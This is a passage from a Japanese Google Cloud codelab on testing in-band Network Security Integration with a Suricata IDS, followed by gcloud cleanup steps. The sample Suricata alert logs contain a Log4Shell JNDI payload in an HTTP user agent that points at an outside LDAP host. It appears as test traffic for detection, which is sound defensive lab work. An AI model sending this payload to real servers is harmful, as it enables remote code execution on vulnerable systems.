activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
  1. SSH セッションを終了して Cloud Shell に戻る
exit

必要に応じて、$zoneb(suricata-$zoneb)の Suricata VM に SSH 接続してログを検証します。

gcloud compute ssh suricata-$zoneb \
   --zone $zoneb

攻撃の種類でフィルタリングしてログを表示します。

cat /var/log/suricata/eve.json | grep log4j

出力例:

{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}

また、パケット キャプチャはトラフィックを表示して検証するのに適しています。

このコマンドは、GENEVE パケットをフィルタします。サンプル コマンド:

sudo tcpdump -i any -nn udp port 6081

次に、コンシューマー VM からテスト トラフィックをいくつか送信します。出力例:

05:53:50.719074 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.719190 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.728752 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
05:53:50.728785 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0

tcpdump では GENEVE ヘッダーを確認できます。送信元 IP はサブネット ゲートウェイ(10.0.0.1)の IP で、宛先 IP は転送ルール(10.0.0.11 または 10.0.0.12)の IP です。カプセル化されたパケットには、元のパケット(consumer-$zonea(192.168.0.2)または consumer-$zoneb(192.168.0.3)のクライアント IP と宛先 google.com)が含まれています。これにより、パケットがインターセプトされ、Network Security Integration を介してサードパーティ アプライアンスに送信されていることが確認されます。

  1. SSH セッションを終了して Cloud Shell に戻る
exit

これで操作は完了です。インバンドの Network Security Integration(NSI)を使用して環境をデプロイし、テストしました。

5. クリーンアップ

一般ユーザー

コンシューマー VM を削除します。

gcloud compute instances delete consumer-$zonea \
   --zone $zonea -q

gcloud compute instances delete consumer-$zoneb \
   --zone $zoneb -q

gcloud compute instances delete consumer-$zonec \
   --zone $zonec -q

ファイアウォールの関連付けとポリシーを削除します。

gcloud compute network-firewall-policies associations delete \
        --firewall-policy consumer-fwpolicy \
        --name consumer-fwpolicy-association \
        --global-firewall-policy -q

gcloud compute network-firewall-policies delete consumer-fwpolicy \
     --global -q

セキュリティ プロファイル グループとセキュリティ プロファイルを削除します。

gcloud network-security security-profile-groups delete nsi-spg \
   --organization=$org_id \
   --project=$project_id \
  --location=global -q

gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
    --organization $org_id \
    --location global -q

エンドポイントの関連付けとインターセプト エンドポイント グループを削除します。

gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
    --location global -q


gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
    --location global -q

Cloud NAT、Cloud Router、予約済み IP を削除する

gcloud compute routers nats delete consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region -q 

gcloud compute routers delete consumer-$region-cr \
    --region=$region -q

gcloud compute addresses delete consumer-$region-cloudnatip \
     --region=$region -q

VPC とサブネットを削除する

gcloud compute networks subnets delete consumer-$region-subnet \
   --region $region -q

gcloud compute networks delete consumer-vpc -q

プロデューサー

インターセプト デプロイを削除します。

gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
    --location $zonea -q

gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
    --location $zoneb -q

インターセプト デプロイ グループを削除します(このコマンドが成功する前に、インターセプト デプロイの削除が完了している必要があります)。

gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
    --location global -q

転送ルールを削除します。

gcloud compute forwarding-rules delete producer-fr-$zonea \
   --region=projects/$project_id/regions/$region -q

gcloud compute forwarding-rules delete producer-fr-$zoneb \
   --region=projects/$project_id/regions/$region -q

転送ルールで予約された IP を削除します。

gcloud compute addresses delete producer-fr-$zonea-ip \
    --region $region -q

gcloud compute addresses delete producer-fr-$zoneb-ip \
    --region $region -q

バックエンド サービスを削除します。

gcloud compute backend-services delete producer-bes \
  --region=projects/$project_id/regions/$region -q

非マネージド インスタンス グループを削除します。

gcloud compute instance-groups unmanaged delete  producer-$zonea-uig \
   --zone $zonea -q

gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \
   --zone $zoneb -q

ヘルスチェックを削除します。

gcloud compute health-checks delete nva-hc -q

プロデューサー VM を削除します。

gcloud compute instances delete suricata-$zonea \
   --zone $zonea -q

gcloud compute instances delete suricata-$zoneb \
   --zone $zoneb -q

Cloud NAT、Cloud Router、予約済み IP を削除します。

gcloud compute routers nats delete producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region -q

gcloud compute routers delete producer-$region-cr \
  --region=$region -q

gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q

FW ポリシーの関連付けを削除します。

gcloud compute network-firewall-policies associations delete \
        --firewall-policy producer-fwpolicy \
        --name producer-fwpolicy-association \
        --global-firewall-policy -q

FW ポリシーを削除します。

gcloud compute network-firewall-policies delete producer-fwpolicy \
  --global -q

VPC とサブネットを削除する

gcloud compute networks subnets delete producer-$region-subnet \
--region=$region -q

gcloud compute networks delete producer-vpc -q

6. 完了

これで、Suricata を使用したインバンドの Network Security Integration の Codelab は終了です。

NSI インバンド ベンダー固有のデモ動画をご覧ください。

Palo Alto Networks

Fortinet

組織に関連する可能性のあるベンダー固有のデプロイガイドをいくつかご紹介します。

Palo Alto Networks

Fortinet

チェックポイント